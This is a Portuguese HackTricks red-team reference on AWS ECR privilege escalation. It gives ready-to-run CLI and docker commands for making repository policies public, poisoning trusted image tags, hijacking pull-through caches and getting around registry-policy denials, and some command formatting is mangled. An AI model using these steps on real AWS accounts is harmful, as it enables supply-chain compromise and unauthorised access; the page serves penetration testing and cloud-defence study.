AWS - ECR Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Um atacante com as ecr:GetAuthorizationToken e ecr:BatchGetImage pode fazer login no ECR e baixar imagens.

Para mais informações sobre como baixar imagens:

AWS - ECR Post Exploitation

Impacto potencial: Privesc indireto ao interceptar informações sensíveis no tráfego.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Um atacante com todas essas permissões pode fazer login no ECR e carregar imagens. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens são usadas.

Além disso, ecr:PutImage pode ser usado para sobrescrever uma tag existente (por exemplo stable / prod) ao fazer upload de um manifesto de imagem diferente sob essa tag, efetivamente sequestrando implantações baseadas em tags.

Isso se torna especialmente impactante quando downstream consumers fazem deploy por tag e atualizam automaticamente em mudanças de tag, tais como:

  • Lambda container image functions (PackageType=Image) referencing .../repo:stable
  • ECS services / Kubernetes workloads pulling repo:prod (without digest pinning)
  • Any CI/CD that redeploys on ECR events

Nesses casos, uma sobrescrita de tag pode levar a execução remota de código no ambiente consumidor e escalada de privilégios para a IAM role usada por essa workload (por exemplo, uma Lambda execution role com secretsmanager:GetSecretValue).

Para aprender como fazer upload de uma nova imagem/atualizar uma, veja:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Como na seção anterior, mas para repositórios públicos.

ecr:SetRepositoryPolicy

Um atacante com essa permissão poderia mudar a repository policy para conceder a si mesmo (ou até a todos) acesso de leitura/escrita.
Por exemplo, neste exemplo acesso de leitura é dado a todos.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Conteúdo do my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Semelhante à seção anterior, mas para repositórios públicos.
Um atacante pode modificar a política do repositório de um repositório ECR Public para conceder acesso público não autorizado ou para escalar seus privilégios.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impacto Potencial: Acesso público não autorizado ao repositório ECR Public, permitindo que qualquer usuário push, pull ou delete imagens.

ecr:PutRegistryPolicy

Um atacante com essa permissão poderia alterar a registry policy para conceder a si próprio, à sua conta (ou mesmo a todos) read/write access.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Abuse as regras ECR Pull Through Cache (PTC) para mapear um namespace upstream controlado pelo atacante para um prefixo privado confiável do ECR. Isso faz com que cargas de trabalho que puxam do ECR privado recebam transparentemente imagens do atacante sem necessidade de push para o ECR privado.

  • Permissões necessárias: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se usar upstream ECR Public: ecr-public:* para criar/fazer push no repositório público.
  • Upstream testado: public.ecr.aws

Passos (exemplo):

  1. Prepare a imagem do atacante no ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Crie a regra PTC no ECR privado para mapear um prefixo confiável ao registry público aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Puxe a imagem do atacante via o caminho do ECR privado (nenhum push para o ECR privado foi feito) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Comprometimento da cadeia de suprimentos ao sequestrar nomes internos de imagens sob o prefixo escolhido. Qualquer workload que puxar imagens do ECR privado usando esse prefixo receberá conteúdo controlado pelo atacante.

ecr:PutImageTagMutability

Abuse esta permissão para alterar um repositório configurado com imutabilidade de tags para mutável e sobrescrever tags confiáveis (e.g., latest, stable, prod) com conteúdo controlado pelo atacante.

  • Permissões necessárias: ecr:PutImageTagMutability além das capacidades de push (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impacto: Comprometimento da cadeia de suprimentos ao substituir silenciosamente tags imutáveis sem alterar os nomes das tags.

Passos (exemplo):

Envenenar uma tag imutável alternando sua mutabilidade ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Global registry hijack via ROOT Pull-Through Cache rule

Crie uma regra Pull-Through Cache (PTC) usando o especial ecrRepositoryPrefix=ROOT para mapear a raiz do registry privado do ECR para um registry público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registry privado será servido de forma transparente pelo upstream, permitindo supply-chain hijacking sem precisar pushar para o ECR privado.

  • Permissões necessárias: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Impacto: Pulls para <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> terão sucesso e irão auto-criar repositórios privados originados do upstream.

Nota: Para regras ROOT, omita --upstream-repository-prefix. Fornecê-lo causará um erro de validação.

Demonstração (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Rebaixar `REGISTRY_POLICY_SCOPE` para contornar Deny da política de registro)

Abuse `ecr:PutAccountSetting` para alterar o escopo da política de registro de `V2` (política aplicada a todas as ações do ECR) para `V1` (política aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma política de registro restritiva com efeito Deny bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação para que os Allows da identity‑policy tenham efeito.

- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to `V1`.

Passos (exemplo):

<details>
<summary>Contornar Deny da política de registro em CreatePullThroughCacheRule alternando para V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks